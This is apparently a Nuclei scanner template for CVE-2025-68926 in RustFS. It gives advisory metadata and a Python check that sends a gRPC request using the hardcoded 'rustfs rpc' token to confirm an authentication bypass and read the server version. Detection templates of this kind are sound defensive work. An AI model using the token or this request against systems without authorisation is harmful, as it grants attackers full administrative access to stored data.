id: CVE-2025-68926

info:
  name: RustFS < 1.0.0-alpha.77 - Hardcoded gRPC Authentication Token
  author: Chocapikk,bilisheep
  severity: critical
  description: |
    RustFS before 1.0.0-alpha.77 used a hardcoded gRPC authentication token "rustfs rpc" that could not be changed without recompiling and this allowed unauthenticated remote attackers to gain full administrative access to the gRPC API.
  impact: |
    Full administrative access to RustFS including reading, writing, and deleting all stored data.
  remediation: |
    Upgrade to RustFS 1.0.0-alpha.77 or later.
  reference:
    - https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68926
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68926
    epss-score: 0.10607
    epss-percentile: 0.93393
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    vendor: rustfs
    product: rustfs
  tags: cve,cve2025,rustfs,grpc,auth-bypass,code

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

code:
  - engine:
      - py
      - python3

    source: |
      import socket, os, re
      from h2.connection import H2Connection
      from h2.config import H2Configuration
      from h2.events import DataReceived, TrailersReceived, StreamEnded

      host, port = os.getenv('HOST'), int(os.getenv('PORT'))
      sock = socket.create_connection((host, port), timeout=10)
      sock.settimeout(5)

      conn = H2Connection(H2Configuration(client_side=True))
      conn.initiate_connection()
      sock.sendall(conn.data_to_send())

      sid = conn.get_next_available_stream_id()
      hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'),
              (':path','/node_service.NodeService/ServerInfo'),
              ('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')]
      conn.send_headers(sid, hdrs, end_stream=False)
      conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True)
      sock.sendall(conn.data_to_send())

      body, status = b'', None
      while True:
          data = sock.recv(65535)
          if not data: break
          for e in conn.receive_data(data):
              if isinstance(e, DataReceived):
                  body += e.data
                  conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id)
              elif isinstance(e, TrailersReceived):
                  status = dict(e.headers).get(b'grpc-status', b'').decode()
              elif isinstance(e, StreamEnded): break
          else: sock.sendall(conn.data_to_send()); continue
          break
      sock.close()

      if status == '0' and len(body) > 5:
          m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body)
          print(m.group(1).decode() if m else 'grpc-auth-bypass')

    matchers:
      - type: dsl
        dsl:
          - 'contains(response, "alpha") || contains(response, "grpc-auth-bypass")'

    extractors:
      - type: regex
        name: version
        regex:
          - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8